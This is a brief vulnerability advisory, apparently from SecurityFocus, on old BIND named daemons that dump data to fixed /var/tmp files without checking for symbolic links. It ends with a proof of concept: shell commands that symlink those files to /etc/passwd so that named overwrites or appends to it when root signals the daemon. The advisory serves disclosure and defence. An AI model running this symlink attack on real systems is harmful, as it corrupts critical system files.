source: http://www.securityfocus.com/bid/80/info

The named daemon will dump the named database to /var/tmp/named_dump.db
when it receives a SIGINT signal. It does not check for symbolic links while
doing so and can be made to overwrite any file in the system.

The named daemons will append named statistics to /var/tmp/named.stats
when it receives a SIGIOT signal. It does not check for symbolic links while
doing so and ca be made to append to any file in the system.

BIND 8.1.x is not vulnerable as it uses a private directory specified in
named.{boot,conf} for temporary and debug dumps.

$ ls -l /var/tmp/named_dump.db
/var/tmp/named_dump.db not found
$ ls -l /var/tmp/named.stats
/var/tmp/named.stats not found
$ ln -s /etc/passwd /var/tmp/named_dump.db
$ ln -s /etc/passwd /var/tmp/named.stats

[ wait for root to send a SIGINT or SIGIOT to named ]